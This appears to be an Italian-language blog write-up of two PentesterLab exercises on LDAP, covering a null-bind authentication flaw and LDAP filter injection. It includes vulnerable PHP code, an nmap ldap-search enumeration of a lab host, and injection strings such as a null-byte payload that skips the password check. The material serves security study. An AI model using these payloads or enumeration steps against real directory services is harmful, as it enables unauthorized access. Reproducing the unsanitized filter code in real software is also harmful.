LDAP (Lightweight Directory Access Protocol) è un protocollo per accedere a dei servizi di directory, ad esempio un elenco aziendale di email o una rubrica telefonica. Esso include solitamente anche un meccanismo nel quale un client si può autenticare, o provare la sua identità ad una directory server.
In questo articolo ci occuperemo di due attacchi a questo protocollo, il quale, sebbene non troppo conosciuto, è utilizzato in molte applicazioni web per accedere ai dati salvati nelle stesse. L’iniezione LDAP è un attacco server side che permette di avere informazioni in merito ad utenti e/o hosts presenti nella struttura.
Nella sezione LDAP di PentesterLab, il codice dell’esempio uno è definito come segue
<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line"> <span class="o">.
..
...</span>
</span><span class="line"> <span class="k">if</span> <span class="p">(</span><span class="nv">$ld</span><span class="p">)</span> <span class="p">{</span>
</span><span class="line"> <span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"username"</span><span class="p">]))</span> <span class="p">{</span>
</span><span class="line"> <span class="nv">$user</span> <span class="o">=</span> <span class="s2">"uid="</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"username"</span><span class="p">]</span><span class="o">.</span><span class="s2">"ou=people,dc=pentesterlab,dc=com"</span><span class="p">;</span>
</span><span class="line"> <span class="p">}</span>
</span><span class="line"> <span class="nv">$lb</span> <span class="o">=</span> <span class="o">@</span><span class="nb">ldap_bind</span><span class="p">(</span><span class="nv">$ld</span><span class="p">,</span> <span class="nv">$user</span><span class="p">,</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"password"</span><span class="p">]);</span>
</span><span class="line"> <span class="o">...
</span><span class="o">..
.</span>
</span><span class="line"><span class="cp">?></span></span></code>
I programmatori hanno inserito la richiesta di ldap_bind dopo l’if, per cui è possibile autenticarsi senza passare nessun paramentro (autorizza quindi il NULL bind).
Per quanto riguarda l’esempio due è bene conoscere la sintassi di LDAP (un approfondimento si trova sul sito di O’Reilly).
Alcuni dei termini principali del protocollo sono:
Utilizza una struttura ad albero in cui ogni oggetto è riferito ad un oggetto superiore e/o superiore, come si può vedere dall’immagine
Per comprendere in misura maggiore ci viene incontro uno script apposito di Nmap, ldap-search, che ci permette di scansionare l’applicazione, visionarne la struttura ed enumerare (se non protetti) gli utenti presenti nel sistema.
┌─[✗]─[mrtouch@parrot]─[~]
└──╼ $nmap -p 389 --script ldap-search 192.168.1.105
Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-16 23:39 CEST
Nmap scan report for 192.168.1.105
Host is up (0.00030s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-search:
| Context: dc=pentesterlab,dc=com
| dn: dc=pentesterlab,dc=com
| objectClass: top
| objectClass: dcObject
| objectClass: organization
| o: pentesterlab.com
| dc: pentesterlab
| dn: cn=admin,dc=pentesterlab,dc=com
| objectClass: simpleSecurityObject
| objectClass: organizationalRole
| cn: admin
| description: LDAP administrator
| dn: ou=People,dc=pentesterlab,dc=com
| ou: People
| objectClass: organizationalUnit
| dn: ou=Group,dc=pentesterlab,dc=com
| ou: Group
| objectClass: organizationalUnit
| dn: cn=hacker,ou=Group,dc=pentesterlab,dc=com
| cn: hacker
| gidNumber: 20000
| objectClass: top
| objectClass: posixGroup
| dn: uid=hacker,ou=People,dc=pentesterlab,dc=com
| uid: hacker
| uidNumber: 20000
| gidNumber: 20000
| cn: hacker
| sn: hacker
| objectClass: top
| objectClass: person
| objectClass: posixAccount
| objectClass: shadowAccount
| loginShell: /bin/bash
| homeDirectory: /home/hacker
| dn: cn=admin,ou=Group,dc=pentesterlab,dc=com
| cn: admin
| gidNumber: 20001
| objectClass: top
| objectClass: posixGroup
| dn: uid=admin,ou=People,dc=pentesterlab,dc=com
| uid: admin
| uidNumber: 20001
| gidNumber: 20001
| cn: admin
| sn: admin
| objectClass: top
| objectClass: person
| objectClass: posixAccount
| objectClass: shadowAccount
| loginShell: /bin/bash
| homeDirectory: /home/admin
| dn: uid=admin2,ou=People,dc=pentesterlab,dc=com
| uid: admin2
| uidNumber: 20002
| gidNumber: 20001
| cn: admin2
| sn: admin2
| objectClass: top
| objectClass: person
| objectClass: posixAccount
| objectClass: shadowAccount
| loginShell: /bin/bash
|_ homeDirectory: /home/admin2
Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds
Quindi gli utenti presenti nell’applicazione sono hacker, admin, admin2.
Purtroppo la password utilizzata in precedenza sembra non funzionare, quindi dobbiamo capire in che modo il backend effettui la ricerca e provare a romperla. OWASP ha un’ottima pagina di esempi per il testing di applicazioni web basate su LDAP ed un esempio di filtraggio è
find("(&(cn=John)(userPassword=mypass))")
Nel nostro caso cn è rappresentato da admin, mentre la password è l’informazione che ci manca. Inserendo la stringa
name=admin)
l’applicazione ritorna un errore, msg:‘Bad search filter’. Seguendo sempre la stringa di esempio di OWASP, provo ad inserire
name=admin))")
ma ritorna lo stesso errore. Un’idea potrebbe essere quella di inserire un NULL BYTE, in maniera molto simile a quella utilizzata nell’esempio del Directory Traversal, ossia eliminare eventuali altri dettagli obbligatori all’esecuzione della ricerca (nel nostro caso la password)
name=admin))%00")
Non è sicuramente bellissimo, ma siamo riusciti ad autenticarci con l’username voluto! Per risolvere l’errore basta aggiungere la stringa password=somestring
Il codice dell’applicazione era
<code class="php"><span class="line"> <?php
.
..
...
<span class="nv"> $pass</span> <span class="o">=</span> <span class="s2">"{MD5}"</span><span class="o">.</span><span class="nb">base64_encode</span><span class="p">(</span><span class="nb">pack</span><span class="p">(</span><span class="s2">"H*"</span><span class="p">,</span><span class="nb">md5</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'password'</span><span class="p">])));</span>
</span><span class="line"> <span class="nv">$filter</span> <span class="o">=</span> <span class="s2">"(&(cn="</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]</span><span class="o">.</span><span class="s2">")(userPassword="</span><span class="o">.</span><span class="nv">$pass</span><span class="o">.</span><span class="s2">"))"</span><span class="p">;
...
..
.
?></span></span></code>
Come accennato prima, le applicazioni LDAP sono sicuramente meno conosciute e ovvie rispetto ad un classico attacco SQLI, ma conoscere e saper attaccare piattaforme che utilizzano tecnologie meno conosciute (quindi dover anche impararne il funzionamento) è sicuramente uno dei tanti aspetti affascinanti della sicurezza informatica.